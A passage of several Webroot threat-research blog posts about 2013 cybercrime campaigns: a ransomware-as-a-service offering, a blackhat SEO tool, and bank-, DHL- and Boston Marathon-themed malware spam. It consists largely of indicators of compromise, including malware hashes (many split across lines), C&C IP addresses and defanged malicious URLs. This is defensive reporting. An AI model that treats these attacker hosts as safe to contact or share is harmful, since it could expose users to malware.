13de17504f96a595a76a29f9f7976f1083be34b2ab2922d2c5460e97f
d320ee8
5bf1c51e45ca382a9755b76aed8038bcdfeca9bc5f06cf10f665c8f347
2ebe6f
076f3b745b540774fb722062122f2003cef34b4baf3ef6cd9a2059a43d
d375a2
841f66489f4da2f1b594d719894487deb5955c35c35e444086d2effa6
49c6ff2
d1d1abdeda3d3bb609a2abcc3ce8aa065f6f94c37939cd4e5fbf58f04
77d7280
d5e00701217b3090c669651f3864d7dcfb569c49205cfecf5f06b02f23
04cca7
c838160259e3e9d98242357c0db901b48679c30a7ffa2e457bc8ad71
6aa549a4
83c1ef12b672876b2aea0c06caf09ee62baa764ef5a2dd02fe7f5f70b1
```

```
482d08
2e6f8e3f3f880ac722c49a54f46ea42823981c23fbdba3e67a5d669a3
6463a43
422c75c2f27f471d630ae466169397e164ab51afc9dbde1bc7fc643b9
ada893f
7b6748372cf6f6ccb5848685de69a67514f019d4d18375c976f1d8148
f5dd181
ed4c0086f9662ca93fcb8d9b7440325d52fab377a32c6965b0049a5df
91e959f
ee5652950df078d3c4c80604f11717833a64be604e3c754611c1d0d6
3550ef18
d4d8ad94331afc9a9a0ea70305103dcf3c2582ef52fb5d38a5494e770
6573437
950006f68840832290873136562fc5309b300353028c18079e5da42e
ace45c3f
fdbb1ae513a6254834a386cc7bb3c727bf2d582b4c08083d432b6171
5fccf30b
f91817a7749459d9419494faf9367aacb10eea26840e4728a16cde89
959cbcb2
c5b75e11ae00e8b4c9d5a76f79e62f69e3c0a01098cd364d8ba08e65
b43a7662
c0a96e3679c63c658a95c39f94fd919692987bbd9bf31e370cbbe9ffa
8b68963
1f1c62a976932012da53fb81f0094e7600c083bb8c63abc496aa8106
75d8c45c
bd37267c763e09c65cc1670a0234ada28b8dd97072a4019d2776d09
a1186d3f1
10beea23476be17d78ceba1af68c841cd34e7ef69943f8d9bc9ae4c0
69c51ea2
6e13a418784f7f56698b588293cd7ef53fe9fa322151c14c53d7d49bb
34bb062
8f5c2a9c08fe940c86bfac54aa8752a3aaa816f1714a441e1c0c1483d
1244f25
2f89506899529975 7af93db52c2f5127aeeaf99cf5e0caeef8b43764f5
7ca6bf
7eff773e0cde15871871ac6698fe7773b8f93c999f5f7329431704f505
0d6f4b
```

451e01c93a7a8bd56c4e427b3443d7700839eba7e2bb2dc13dcc452959e43e12

c800509af39c462ba754fde9ee628c409db1b4b044feca63ab6f155595018c45

71ec5045dac1ac067a3e14ce0f0e0660b417275c74977e6c86f569ba3bcbca1f

e1477c11a74e4881849f7f14db06c7735c153d064e7ef5f5764d57bad0c46115

381d2370c8e67d484cc5ad205dd126378fab5e84b285d3f6889541b34a425ca2

1f8d54a266a314eea3b29c9b147ff59316e4c48e957a938bf59245efe81b3a01

1f7030ac67fa0e19fb22738d7e3ca64018197567fda07a0ef233957a38352572

12b128c2492f399dbad9ecef92af75d5c63866f2ba9a91d140eb35ffd4c4eed0

333419591463428cbc385509b1cece29858f3cd3e56882c8d9c498b715c799f7

4fcf44b3c211e5a24a70c6400e0f4e6d0d50cca2bb2a1ff8eb6e1533c51d2ce8

d8b07699d52079c8e4c92532e5e0e88db49019bed7ef0ff2ed24a5147d60297a

1d16abe77fbd40c2e245b2760742e3f74a6df9f934d6598763ed858662629137

65046d0072797394793abb46033854d510232ef570110c26431b798967dc7be0

a8666e9b33110edb162524d2506331ed53ac9ea3e2ceaf955ccb04c6daf4cc6d

28956c6c409dbf027b63da5b6c28499c89d0a02881a546dd154dd25c165cc745

f9fb661ce6ed17e0f9251ca492eb645b3f971c86e43a2d38bde729795b491ed3

c4bda310a5e9f2c299ad45ff4285fcd5914ca98006ae9b164b2dd45410a4ed16

2846e402102650c7b73640d7afc27ad8ca33cfdf9fad81528387e0ce2cf17ece

d49031a87a2877912ae887818d2108b76083c1e4ae83858cbdffbff1d

```
0b239d5
723593ab67dd5b96f55f38a8a9d1c1163e90818ab1ccb099a0fad6c7
b3d3f038
17a83a6e47a0188b4c0bda223994fd99bc44cdcdb18017cf886e56fe
eeb2bb7e
0c0d0ce54b5491d7d8c812bf83553c1240875864b941f251245995bf
d5192423
26f8df16b4ce3dd60dfed59c909acf516c2d5500977d4bb84a7655ddd
54e5b4f
a95ad91bd6848daaee98391d540d1c863111b0269ed9c57f6a2cb0f7
a610dda0
5843f6eb1ea320ee86959547576be954c94e02127947a4d721a5b0fc
25676060
38a2e63e9278006de45a3d55e742384523fd9710b8b9a91b4313a50
48576c077
1db24a9d3693501fb0729fdc4acb57b648c84ed9717bb3ca50b83260
329b36c0
3104746b09c39162d474f21335b7e5a56cd1819a916db07afbd8b33e
47881a20
536b6e938f5e1a35814822dce47f442666738ac1b4dd9667ae50a4f0
8fe4ffcb
a81a3707b1186114fbc735720f897c1a66ab88d95d99e51df20477a6
7d986800
c2ff03669f04524c394dc18e7dace504ee4fba10a733348e5bb520cb9
8ec7d34
2ad3345aa79cb99fe894da035d3fa26d45296332a3941282c54a83c6
51ffdf3a
d19f99eaa6e6f9b5ca6e2744a4ef70797a921713eda0433be3f0c74ab
2584f6a
abc019a85bad4f34efec0e98ffbddd971d99a6b6e35efd916c5814524
7b9b560
2c96be452e6bc826430793af0939c90643df3a4f124632c1d723c267
404cb5ed
2a74c1c999a265f8fd43226bb591b95c8f029a19cd14192d530dc2e1
36706fb2
ffbb8fa577cb0aac1213eaaf549a14101cc856868801e4516a615471f
d95c69a
```

180ae8891f3454a3fa54694bdb8fe26bcc7ab64b96a12ea1ab7e6ced1239e4d6
994464b0550a2c7fe025106b677dc5b88143f44f0e7c5cb76d92d4021bf77b12
7b5797d2dc7d90567ec7900208e3795aa1416e3b5def0440a7220a28077aabb2

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Managed 'Russian ransomware' as a service spotted in the wild - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

In 2013, you no longer need to posses sophisticated programming skills to manage a **ransomware botnet** , potentially tricking tens of thousands of gullible users, per day, into initiating a micro-payment to pay the ransom for having their PC locked down. You've got **managed ransomware services** doing it for you.

In this post I'll profile a recently spotted underground market proposition detailing the success story of a ransomware botnet master that's been in business for over 4 years, claiming to be earning over five hundred thousands rubles per month.

More details:

What he offers are two packages of his ransomware release. The first package includes the actual source code (in Delphi), as well as detailed instructions on using and modifying it. The price is $100. The second package however, includes the option of directing live traffic to the landing pages of his customers. This is an attempt to efficiently convert the traffic into ransomware-infected hosts, the source code of the ransomware, **managed crypting of the actual binaries** , money laundering tips for the fraudulently obtained funds, as well as instructions on how to actually 'cash out' the money through an ATM. The price for the second package is $500.

Sample screenshot of the actual ransomware:

Sample screenshot of the source code offered as a proof for its possession:

Sample screenshot of the cybercriminal's statement from his bank, proving that his fraudulent campaigns are actually generating him tons of money:

We'll continue monitoring the development of this service, and post updates as soon as new developments emerge.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

How fraudulent blackhat SEO monetizers apply Quality Assurance (QA) to their DIY doorway generators - Webroot Blog

facebook linkedin twitter

How are cybercriminals most commonly abusing legitimate Web traffic?

On the majority of occasions, some will either directly **embed malicious iFrames** on as many **legitimate Web sites** as possible, **target server farms** and the thousands of customers that they offer services to, or generate and upload invisible doorways on legitimate, high pagerank-ed Web properties, in an attempt to monetize the hijacked search traffic.

In this post I'll profile a DIY blackhat SEO doorway generator, that surprisingly, has a built-in module allowing the cybercriminal using it to detect and remove 21 known Web backdoors (shells) from the legitimate Web site about to be abused, just in case a fellow cybercriminal has already managed to compromise the same site.

Are turf wars back in (the cybercrime) business? Let's find out.

More details:

The newly introduced feature appears to have been recommended to the developer of the tool by one of its users. What we've got here is a great example of how cybercriminals apply QA by taking into consideration the concept of **customerization** .

Sample screenshots of the DIY doorway generator in action:

As you can seen in the screenshot above, the developer has added support for 21 of the most popular Web backdoors (shells).

As you can seen in the screenshot above, the tool appears to have detected a competing shell and is presenting the output to the user to investigate and eventually clean the site of the competitors backdoor.

Related research – “What’s the ROI on Going to a Virtual Blackhat SEO School?”

Does the newly introduced feature signal an upcoming turf war on the blackhat SEO front, the way we’ve seen it with **Bagle, Netsky and MyDoom** , **SpyEye’s ‘Kill ZeuS’ feature** , or **Storm Worm vs Srizbi** ? Not necessarily, at least not in this particular case since for a turf war to take place, we need to have an exchange of virtual ‘shots’ between all the market leading — or least one to act as a provoker — blackhat SEO platforms. And this is something we aren’t seeing, at least for the time being.

As always, we’ll keep an eye on any future updates introduced by the developer of this DIY doorway generator.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals impersonate Bank of America (BofA), serve malware - Webroot Blog

facebook linkedin twitter

Relying on tens of thousands of fake “*Your transaction is completed* ” emails, cybercriminals have just launched yet another malicious spam campaign attempting to socially engineer Bank of America’s (BofA) customers into executing a malicious attachment. Once unsuspecting users do so, their PCs automatically join the botnet operated by the cybercriminal/gang of cybercriminals operating it, leading to a successful compromise of their hosts.

More details:

Sample screenshot of the spamvertised email:

Detection rate for the malicious executable: **MD5: c671d0896a2412b42e1abad4be9d43a8** – detected by 31 out of 46 antivirus scanners as Trojan-Spy.Win32.Zbot.kulh.

Once executed, the sample creates the following files on the affected hosts: *C:Documents and Settings<USER>Application DataAxuxjedurqy.exe C:DOCUME~1<USER>~1LOCALS~1Temptmp92c578d1.bat C:WINDOWSsystem32WBEMPerformanceWmiApRpl_new.h C:WINDOWSsystem32WBEMPerformanceWmiApRpl_new.ini C:WINDOWSsystem32PerfStringBackup.TMP C:WINDOWSsystem32WBEMLogswmiprov.log*

It also creates the following Mutexes: *Global{2E06BA86-8AE7-D5EB-DBC9-BE58FA349D4A} Global{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A} Global{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A} Global{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A} Global{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A} Global{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A} Global{BB67AFC4-9FA5-408A-DBC9-BE58FA349D4A} Global{F69375E1-4580-0D7E-11EB-*

B06D3016937F} Global{F69375E1-4580-0D7E-75EA-
B06D5417937F} Global{F69375E1-4580-0D7E-4DE9-
B06D6C14937F} Global{F69375E1-4580-0D7E-65E9-
B06D4414937F} Global{F69375E1-4580-0D7E-89E9-
B06DA814937F} Global{F69375E1-4580-0D7E-BDE9-
B06D9C14937F} Global{F69375E1-4580-0D7E-51E8-
B06D7015937F} Global{F69375E1-4580-0D7E-81E8-
B06DA015937F} Global{F69375E1-4580-0D7E-FDE8-
B06DDC15937F} Global{F69375E1-4580-0D7E-0DEF-
B06D2C12937F} Global{F69375E1-4580-0D7E-5DEF-
B06D7C12937F} Global{F69375E1-4580-0D7E-95EE-
B06DB413937F} Global{F69375E1-4580-0D7E-F1EE-
B06DD013937F} Global{F69375E1-4580-0D7E-89EB-
B06DA816937F} Global{F69375E1-4580-0D7E-F9EF-
B06DD812937F} Global{F69375E1-4580-0D7E-E5EF-
B06DC412937F} Global{F69375E1-4580-0D7E-0DEE-
B06D2C13937F} Global{F69375E1-4580-0D7E-09ED-
B06D2810937F} Global{F69375E1-4580-0D7E-51EF-
B06D7012937F} Global{F69375E1-4580-0D7E-35EC-
B06D1411937F} Global{F69375E1-4580-0D7E-B1EA-
B06D9017937F} Global{DDB39BDC-ABBD-265E-DBC9-
BE58FA349D4A} Global{2E1C200D-106C-D5F1-DBC9-
BE58FA349D4A} Local{911F9FCD-AFAC-6AF2-DBC9-
BE58FA349D4A} Local{0BB5ADEF-9D8E-F058-DBC9-
BE58FA349D4A} Local{D15F4CE9-7C88-2AB2-DBC9-
BE58FA349D4A} Local{D15F4CEE-7C8F-2AB2-DBC9-
BE58FA349D4A} Local{B0B9FAFC-CA9D-4B54-DBC9-
BE58FA349D4A} Local{B0B9FAFD-CA9C-4B54-DBC9-
BE58FA349D4A}

And phones back to the following C&Cs servers:
99.150.209.246:13467 190.198.187.99:12407 180.248.91.99:10097
197.251.139.27 82.211.186.140 99.103.42.49 71.193.224.27
81.133.189.232 199.59.157.124 173.239.134.186 67.248.126.173
107.216.164.109 81.149.242.235 195.169.125.228 186.47.28.133
90.156.118.144 173.194.67.147 173.194.67.94 95.228.232.129
178.150.15.40 24.120.165.58 194.94.127.98 79.186.118.100

213.123.186.173 66.159.154.0 201.108.29.121 105.227.88.252 71.239.8.51 94.71.9.152 87.30.121.173 95.227.216.136

More malware variants (SHA256 fingerprints) are known to have phoned back to the same IPs, for instance:

dd388f536ca699b5fa88da86232b11e914cd3e713efd84d2ea5db1de8175fd90

1580bedbe22ad3709910558d9377229a609e9539d3e66010bfa0507a9fb8617b

ef2172114c42eb8b139f13941e02ee309f7e87a48250f774dfd937b693f9ca11

1c4b50e28e54d75afc3cefcbd40515504a617f1bd40bfccc1388091e2f6ab5cb

0e171294d6a7f5b77c82a44787c48e5c3eaba06d224cb3a133338192e737cfd6

b5c7713884d6bdfaf0a42c78cebf368037d726c4da27e6e4b0bcfa5fe ecdb3eb

2c4b204963a0bf4c242d34b2db8a0e9c0f3f956986459678ee4ef0a1402a8a6f

1b9fc0993cd8f8d171ceef3db59b70b9e440e12b912fd4d2fdc0357857a7ca4a

72bf6831d1c6dc0b7dd59bf4c6c07f064d53448dc82bad6b7359805d1f35295a

2be31ff86d00669d8dd9a4128edb536adaa1735493aa00255f31d3a17faa381d

a1401304f67fb5a5e17e88eee7b66f69cfe101b2cb9c2d785fadd3af873f53be

f5c74532db8f74ad555e942936a21db1d6d900a5eeecda8459a94ddbf1e59b4a

a5e94a56e9a4d6b0f8f4d6b176ab5c2f822a515032a613fa8747507de9b1a914

01f043a95b1c510ef1028c03fb4036e9a2bb3f9686b2a100ee7a0a6a5f5be786

7b76fa242daad8b712700835167a7f8873c6fda64f7ea07e85fe91480b86fa7c

4521d4cffdc936750758174076c89fda93c02cade8bd15845ea11e3586e399e5

bc60ac2db315faf145b2a6f2782bb8a3cb27abfbe90d0101cab956c7cf

```
89ce0e
868fd778575dd790be0c242f630b917c370b0ef64b456855b0ca3e21
d5efca45
862390d1fa5f0261bf73a482c848dc358d2c08eb339bfd3b675f3a630
b66f1ab
f553605e8d16291f72c26e719ff93ed1da91891681262e626aee74b30
c727d4b
e57f702288be13538e74257c44a5ea673fe09a674342ab35cfd4d5b7
4ff66c8f
7a6b2959f2e6ef8b036838d5cf19e9c54b559c926444942f1ddeb9630
fb0d406
17abceb5551390b12abd5900a2261039795a13ff8299c4e95634cb2f
567d49d0
63b76a7e0fe45c54d8a9ce890b1f3efd64e6db04d1ca2f8b911dfb130
b26e877
8a0167626f408476ac05d0436f3d84be1573fd7a60d23fc18c562275f
cd30729
9c5b22700b9ec07a0b4ca893884dcbad37183020633b960cce32d72
adda69ba7
8c6c659110a9be368884111db7889ff8745c942b257088cbf9924a750
b0b4f88
016f051c6c66fa725ac4da5cd55dd3d7dada01c2469b3f8f49f040f5e6
1781e1
1042fa15d0ad53be3c724a5b12d0a50dc02dd9aa8487571cbf6b6848
b569ed21
14d7d240024e411df1fb7e80fb2dc5f1fb22673c8969ac334d4207b3b
13dfa1d
48dd15d56ed49e3735c8b4a36a20405a4248f62f1fa5994f640229d79
10df8ab
975cbf9b9509df43e588a6ff9acada093f7dc1cfeb9898f73fb22ff131f0
739b
e0849e5d6cebd727391add2e1781f301834f378e072f824fcb192a077
7307035
1fb1dfdbade1591460c0a09a8055a57b20fce525ec3c154ed62286cb
49841b87
35b8ca7823c5559cc556108fddd2e67814bc23e45b80182a239759d
a48cbfe8f
```

```
c85bf154a41355d728526d5b826b344f12e839394257c1c4a1f78699
92fbb656
80bc7a929825b66afeeb8ca991a1d83425f40187565f60c245cbbbba
89a83fd4
a4ee41287f4fdda934e8e0ca74608ac1b2045403680c1e2384e26bb6
bdd6c6c3
f996849059d74cda88460a917b66e5b74572296de9ab1312488cff98f
dcd11c3
8ddedf1d24d8ef94e44f6ab659f6ffa80eaef9e30637b3943115485ab5
e0f082
4cb928ad4a5de0eea1120f64a7ed2f246f63e493334c444e0fa788065
879e007
92d518f080fda738d091b1061c465b4e718ab259bf5aecf72056f6690
6930898
34fc1bbef1c1a9d249c5640afb8b968ff8bfeb963b7d71248c7ecaf239
7f02e1
b51889a30a23121b93ed9bd5a3af963ad8cda3f9e35f4661ba35e034
1b0dda66
dfcf14b00b6cb3eaafa4a8aaeaec900ece1a707e9c5e262275bbeaa5
6015f217
e410200a22fcecf06b1dfa0a717960d36485df109333a802fd1751530
5408499
9f8d4010f4d9b4d21e8bef3dca897fa18184fe799d0092e2855568657
aab74e5
241fa0371f21bb81260d9f14afd15fe1ed024722f2af9637cbb29dddb6
8661bc
dd40132ebd545205d7b1b8e198ddafd0b7c0dde07a7d07cb2f9466ba
84cc3e94
5e177d2a57bca8c7c0207737e64ac437e683bb19f66fdeb491cd0f95
a34b507e
248978ae8d5be35cb6e89ceacf8b029f079ad8c0e2126d58c1de805b
e1e44659
234bf4a125300c3f06021f838c1fa4f7b80f2331597fa1996a95a2db33
33f14c
465368262173ee407ff9fddd6510c1b3b51f8a05cbdcf4bd6754e59ae
a8a9171
88220d82c7ce4d2b44ce90f8950c1500c0c54657be77aba63f9316c3
```

```
dc48c36d
54889a3db40b760a0fcceaf0de4b1d207bebfdcd76a7e54bb891b11f9
83a0d0e
05ace7c732426fd67247120aef9ba4e7fb8ee7bc61983955f7fb9e97d
039c1b9
5764d63ce147c0a80f25d13826874803608f5be487d5b762d9e55e51
4ac2074b
91f7a47e2250b5a6df275da87655d91772ec65528271a403750abc48
08cf5ad1
dc8690d1ba81398fc2e759c08e3bcc7eb4f9a4e33065b1396b4374fd
1bd58867
c5c35031e4a6944647d0d2e5621b3582db79bd83ea5807e72575b18
e03f5a9f8
aa147e6d8f5144e0b0978d3b5d049d82c233982040c7397b21eafd8d
99491ed1
be3b0e9000d43a76b779e0e08d41337016ffe46e454b3f3c88316bb8
3e74a79f
08b5d43886e848873a2d5320f2e978035e0210e490c6a8ba9cd6fe2e
7a59fc8f
29169947ea875b15f9135402db9830596945a62cf4bc7929a755ca3b
460ec163
f9de80561b379eb741046ff77f5e48914554977a0cd668fe7155a7e18
d073df7
9b1dbf5a4f2ccef598f8332da7bf51bc5d5a9c35bcef7d18472d5cc08b
3547d5
c3d7bde1ad141e6fcb4fd4a353ac1410a45534d4d1de2ee4ce26d94a
60a0e29e
7897e719a1b389d7df58ac0a240a8fe1dca2a4e91c55329f1aa5b667
3a4d6ddb
041db97b30cc1402d268a25b204de76a0abd4ef6fef503af5f60fcec33
c9fafc
7f23ec4cb15241da3be574d06c77e40675587773ee36fbf40ecfff3b43
d8b38f
7d21a0ad9d36227412da5550c364cddbe3c1bfc8afce0852eb7d7404
03f0cc87
e0657780885d656c8ff4a4a260dc493b8ca858ed3cf253853af58928b
56f0ad4
```

```
80af858e12e6799beb5673714baf3b5ebd69082a8626bba71dc6d8eb
1818fd83
54dc399d673193808513a59f1d27783eea75a437a61c83e4b90917f0
bce6efc7
84e61a33e7e967ff6e0ac2e6a12035f2d5c113d5c71cb285e0e1c3df8
b565420
edd335e53152f4d19ca32b1c315d32ab77d92dc313f3719e13b37f69
0c6cccd7
bc4c5bc7be997971c59fd5ca3aea2554874abc8492ad77256134fdb6
02c40805
4d0a3aa812096bae68ecc0b8000a4afcbf8d123fc9a74da23c4e3767
eed14874
2648aab4b546709a0f37aaf5a3a65d75eff93a48fc25122905516c2c3
6f93731
1583f1ff4f4874cb6591a727894d35dd097420686ce9943def2cd4724
ce506e4
e657944d81dd697b6eb84bd14ccf0a28de01056deb7f584892e0ae0a
df9532fe
f3791c4f508b1c6940f0914ff9756718ca399d890c91d2dae36b5729b
581d6b8
01b4d9e87a70243455dfdb924c9c42537426507d13a2e1c15e7ab6e
e52df3792
d356d2d3286c8945dca457c8ceab81f3b2be04ef197ce2f0ddbfba004
ac779f0
ca3a56abeb49553e764e79eb35ef99c4e641dafb9dc8149f69257b6a
a3ecdb16
ab5e5eee97b92e88cc6ba831e44a271ac60f551a4ecbf387581529ed
f9baacaa
05f26df2733bb82be9b852d80a310fc3db4adc8e1d947f0225077d7bb
34e3ea1
0f03a1edea1b34c96d031be460e151518f0e27141dafa7ff6275f78d0a
2caed8
93a3544d369b54790943c26c45fc330e141c589c25b1d672e2b0a69c
6f0d995b
1804a29196ca365426cda21fdd2ceff3b001623513eed857b326db42
5c19e505
07e9cad85689f2afdca86bf44143b32974501c39a7359e95d12fa8baa
```

6a950a0

4a584eb5f3f4317f7bd4da5a360898a4d296e03a5f3c5669ae8f940de0ba92f4

6f35ea4f3a105531be55a0c7ef27d2610982f291d868d6b7e6d8a833bed54aef

146038c969f87e1de02a44d41c6828d8057641a186787f48094eae5c7a1cb166

d201eca15eed4482acdd8a1e2d7fc7eeddada81fe2928b42c4599e7214508438

b24159214ff4c0c6fc80cfb63938363accfb0d124260e5c9c7b5c8cc5d217ee0

beff41cd1d4d22f983b44c77827c075e58bf70738e44ad64e78db917856c4e53

b152e47152c1759e8f58120bd9682b5e01e3d3a98aa86bc7dd336012ffd5003e

231791d2448413457c4279660f76c65e5c85a85c1f61648a793d055384bb64a0

625802ae10be85c529bf7bc7e082b2d3acf6ccf99d8789399b66f6f2f921284f

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Fake 'DHL Delivery Report' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

Over the past couple of days, cybercriminals have launched two consecutive malware campaigns impersonating DHL in an attempt to trick users into thinking that they've received a parcel delivery notification. The first campaign comes with a malicious attachment, whereas in the second, the actual malicious archive is located on a compromised domain.

More details:

Sample screenshot of the the first spamvertised template:

Sample screenshot of the second spamvertised template:

Detection rate for the malicious executable: MD5: 85f908a5bd0ada2d72d138e038aecc7d – detected by 12 out of 45 antivirus scanners as Backdoor.Win32.Androm.pta.

Once executed, it phones back to **hxxp://seantit.ru/new/gate.php** (67.174.162.23; 113.161.74.243; 5.175.142.32; 5.175.143.42; 202.180.52.3) and also downloads **hxxp://seantit.ru/ya.exe** (202.180.52.3) **MD5: be52e7e38b9b467c51972cc841e7e487** – detected by 23 out of 46 antivirus scanners as Trojan:Win32/FakeSysdef.

Responding to the same IP are also the following domains part of the campaign's infrastructure:
independinsy.net confideracia.ru gatoversignie.ru programcam.ru condalinaradushko.ru

seantit.ru (Name server: **ns1.secrettappes.com** – 209.140.18.37 – Email: *calnroam2@yahoo.com* ; Name server: **ns1.insectiore.net** – 209.140.18.37 – Email: *conaninfo@rocketmail.com*) is also known to have responded to the following IPs:
5.175.142.32
5.175.143.42
66.230.163.135

67.174.162.23
86.95.203.184
94.249.206.117
108.174.197.91
111.118.185.166
186.115.144.123
202.180.52.3
206.174.122.15

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Historical OSINT - The 'Boston Marathon explosion' and 'Fertilizer plant explosion in Texas' themed malware campaigns - Webroot Blog

facebook linkedin twitter

Following the recent events, opportunistic cybercriminals have been spamvertising tens of thousands of malicious emails in an attempt to capitalize on on the latest breaking news.

We're currently aware of two "Boston marathon explosion" themed campaigns that took place last week, one of which is impersonating CNN, and another is using the "fertilizer plant exposion in Texas" theme, both of which redirect to either the **RedKit** or the market leading **Black Hole Exploit Kit** .

Let's profile the campaigns that took place last week, with the idea to assist in the ongoing attack attribution process.

More details:

Sample screenshot of the displayed video mix of videos hosted on YouTube:

Excluding the CNN themed emails, the rest contain a link to a malicious IP with the following typical for the campaign, filenames – *news.html; boston.html; texas.html; cnn_boston.html* .

Sample spamvertised URLs observed in all of the campaigns:
hxxp://190.245.177.248/boston.html
hxxp://78.90.133.133/boston.html
hxxp://176.241.148.169/boston.html hxxp://95.87.6.156/boston.html
hxxp://46.233.4.113/boston.html hxxp://213.34.205.27/boston.html
hxxp://37.229.92.116/boston.html hxxp://95.69.141.121/boston.html
hxxp://110.92.80.47/boston.html hxxp://62.45.148.76/boston.html
hxxp://118.141.37.122/boston.html hxxp://94.153.15.249/boston.html
hxxp://178.137.100.12/boston.html hxxp://24.180.60.184/boston.html
hxxp://110.92.80.47/boston.html hxxp://46.233.4.113/boston.html

hxxp://85.217.234.98/boston.html hxxp://213.34.205.27/news.html
hxxp://94.28.49.130/boston.html hxxp://78.90.133.133/news.html
hxxp://95.87.6.156/news.html hxxp://176.241.148.169/news.html
hxxp://95.87.6.156/news.html hxxp://182.235.147.164/news.html
hxxp://sistasplace.org/news.html hxxp://95.87.6.156/news.html
hxxp://95.87.6.156/news.html hxxp://94.153.15.249/news.html
hxxp://182.235.147.164/news.html
hxxp://219.198.196.116/news.html hxxp://94.28.49.130/news.html
hxxp://94.153.15.249/news.html hxxp://78.90.213.244/news.html
hxxp://85.217.234.98/news.html hxxp://37.229.215.183/news.html
hxxp://85.217.234.98/news.html hxxp://83.170.192.154/news.html
hxxp://182.235.147.164/news.html hxxp://85.217.234.98/news.html
hxxp://china-ptjc.com/cnn_boston.html
hxxp://kuzenergo.ru/cnn_boston.html
hxxp://alltomforsakringar.nu/cnn_boston.html
hxxp://smslanens.se/cnn_boston.html
hxxp://www.smslanens.se/cnn_boston.html hxxp://numeralarmowy-112.pl/cnn_boston.html
hxxp://ochronaprawkonsumenta.pl/cnn_boston.html
hxxp://www.vdnh.kiev.ua/cnn_boston.html
hxxp://ochronaprawkonsumenta.pl/cnn_boston.html
hxxp://alltomforsakringar.nu/cnn_boston.html
hxxp://higherthanab.com/cnn_boston.html hxxp://business-link.net/cnn_boston.html
hxxp://www.peaceofchristparish.org/cnn_boston.html
hxxp://ochronaprawkonsumenta.pl/cnn_boston.html
hxxp://smslanens.se/cnn_boston.html
hxxp://mezdustrok.com.ua/cnn_boston.html
hxxp://skinnee.net/cnn_boston.html
hxxp://ochronaprawkonsumenta.pl/cnn_boston.html
hxxp://smslanens.se/cnn_boston.html hxxp://numeralarmowy-112.pl/cnn_boston.html hxxp://higherthanab.com/cnn_boston.html
hxxp://host321.ru/cnn_boston.html hxxp://econ-group.com/cnn_boston.html
hxxp://peaceofchristparish.org/cnn_boston.html
hxxp://vdnh.kiev.ua/cnn_boston.html
hxxp://mannesmann.cz/cnn_boston.html

hxxp://ochronaprawkonsumenta.pl/cnn_boston.html
hxxp://46.40.33.20/texas.html hxxp://94.28.49.130/texas.html
hxxp://219.198.196.116/texas.html hxxp://178.150.115.38/texas.html
hxxp://94.153.15.249/texas.html hxxp://85.198.81.26/texas.html
hxxp://37.229.215.183/texas.html hxxp://95.87.6.156/texas.html
hxxp://182.235.147.164/texas.html hxxp://94.153.15.249/texas.html
hxxp://37.229.215.183/texas.html hxxp://110.92.80.47/texas.html
hxxp://83.170.192.154/texas.html hxxp://78.90.133.133/texas.html
hxxp://83.170.192.154/texas.html hxxp://118.141.37.122/texas.html
hxxp://176.241.148.169/texas.html hxxp://46.40.33.20/texas.html
hxxp://213.34.205.27/texas.html hxxp://159.148.43.126/texas.html
hxxp://78.90.133.133/texas.html hxxp://213.231.13.137/texas.html
hxxp://219.198.196.116/texas.html
hxxp://182.235.147.164/texas.html
hxxp://178.137.120.224/texas.html hxxp://85.217.234.98/texas.html
hxxp://85.217.234.98/texas.html hxxp://213.34.205.27/texas.html
hxxp://85.217.234.98/texas.html

The first campaign is directly exposing users to the malicious executable (**boston.avi_______.exe**), with multiple YouTube hosted videos loading in the background of the page.

We've observed the following MD5s that were in circulation last week:
MD5: 5ea646ffdc1e9bc7759fdfc926de7660 MD5: 959e2dcad471c86b4fdcf824a6a502dc MD5: 6ad5c11fb0e0c7c5e1cbc736b4b66676

Once executed, **MD5: 5ea646ffdc1e9bc7759fdfc926de7660** phones back to **77.123.40.41:80** ; **37.229.97.11:80** ; **190.18.237.20:80** ; **176.103.0.22:80** . Once executed, **MD5: 959e2dcad471c86b4fdcf824a6a502dc** phones back to **hxxp://5.105.102.232/home.htm** .

Some of the applets in the RedKit redirecting variation of the campaign contain the following static strings *"sdioolg sh ispod* ".

Sample RedKit redirectors found on the malicious and spamvertised URLs: *hxxp://bestdoghouseplans.com/azsq.html hxxp://compfixer.net/ecsr.html hxxp://chartspmsasia.com/weir.html hxxp://mcfamiliesinneed.org/czsq.html* *hxxp://techpourri.com/hhsr.html hxxp://pcdesires.com/hoiq.html hxxp://cedarpointchurch.org/azsr.html hxxp://kentuckyautoexchange.com/czir.html*

